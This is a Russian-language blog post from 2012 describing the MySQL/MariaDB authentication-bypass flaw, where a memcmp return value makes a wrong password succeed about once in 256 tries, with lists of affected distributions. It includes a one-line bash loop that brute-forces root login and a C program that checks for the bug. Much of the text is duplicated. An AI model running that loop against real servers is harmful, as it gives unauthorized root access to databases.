Смешная уязвимость в MySQL под Ubuntu 64-bit | автор: Luca | 11 июня 2012
Категория: Open Source
Прочитано 12883 раз и оставлено 16 комментариев.
Суть в том, что при подключении пользователя MariaDB/MySQL вычисляется токен (SHA поверх пароля плюс хэш), который сравнивается с ожидаемым значением. При этом функция memcmp() должна возвращать значение в диапазоне -128..127, но на некоторых платформах (похоже, в glibc в linux с оптимизацией под SSE) возвращаемое значение может выпадать из диапазона.
В итоге, в 1 случае из 256 процедура сравнения хэша с ожидаемым значением всегда возвращает значение true, независимо от хэша. Другими словами, система уязвима перед случайным паролем с вероятностью 1/256.
В итоге, простая команда на bash даёт злоумышленнику рутовый доступ к уязвимому серверу MySQL, даже если он не знает пароль.
На данный момент дырка подтверждена в следующих конфигурациях:
Ubuntu linux 64-bit (10.04, 10.10, 11.04, 11.10, 12.04)
Debian linux 64-bit (пока непонятно, в каких конкретно версиях)
Arch linux (то же самое)
Официальные билды MySQL и MariaDB (включая Windows)
Red Hat Enterprise linux, CentOS, Fedora Core (32-bit и 64-bit)
Ubuntu linux 32-bit (10.04, 11.10, 12.04, вероятно все)
Debian linux 6.0.3 64-bit (Version 14.14 Distrib 5.5.18)
Debian linux lenny 32-bit 5.0.51a-24+lenny5
Debian linux lenny 64-bit 5.0.51a-24+lenny5
Debian linux lenny 64-bit 5.1.51-1-log
Debian linux squeeze 64-bit 5.1.49-3-log
Debian linux squeeze 32-bit 5.1.61-0+squeeze1
Debian linux squeeze 64-bit 5.1.61-0+squeeze1
программа проверки на уязвимость:
источник
В итоге, в 1 случае из 256 процедура сравнения хэша с ожидаемым значением всегда возвращает значение true, независимо от хэша. Другими словами, система уязвима перед случайным паролем с вероятностью 1/256.
В итоге, простая команда на bash даёт злоумышленнику рутовый доступ к уязвимому серверу MySQL, даже если он не знает пароль.
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
mysql>
На данный момент дырка подтверждена в следующих конфигурациях:
Ubuntu linux 64-bit (10.04, 10.10, 11.04, 11.10, 12.04)
Debian linux 64-bit (пока непонятно, в каких конкретно версиях)
Arch linux (то же самое)
Официальные билды MySQL и MariaDB (включая Windows)
Red Hat Enterprise linux, CentOS, Fedora Core (32-bit и 64-bit)
Ubuntu linux 32-bit (10.04, 11.10, 12.04, вероятно все)
Debian linux 6.0.3 64-bit (Version 14.14 Distrib 5.5.18)
Debian linux lenny 32-bit 5.0.51a-24+lenny5
Debian linux lenny 64-bit 5.0.51a-24+lenny5
Debian linux lenny 64-bit 5.1.51-1-log
Debian linux squeeze 64-bit 5.1.49-3-log
Debian linux squeeze 32-bit 5.1.61-0+squeeze1
Debian linux squeeze 64-bit 5.1.61-0+squeeze1
программа проверки на уязвимость:
#include <stdio.h>
#include <stdlib.h>
int main(void) {
int one, two, ret;
time_t start = time(0);
time_t now;
srand(getpid()*start);
while (1) {
one = rand();
two = rand();
ret = memcmp(&one, &two, sizeof(int));
if (ret < -128 || ret > 127)
break;
time(&now);
if (now - start > 10) {
printf("Not triggered in 10 seconds, *probably* not vulnerable..\n");
return 1;
}
}
printf("Vulnerable! memcmp returned: %d\n", ret);
return 0;
}
источник
ВНИМАНИЕ !
Возможно что-то уже неактуально. Обращайте внимание на даты !
Эта статья опубликована 11 июня 2012-го года !
Прочитано 12883 раз и оставлено 16 комментариев.
#1.X_perienced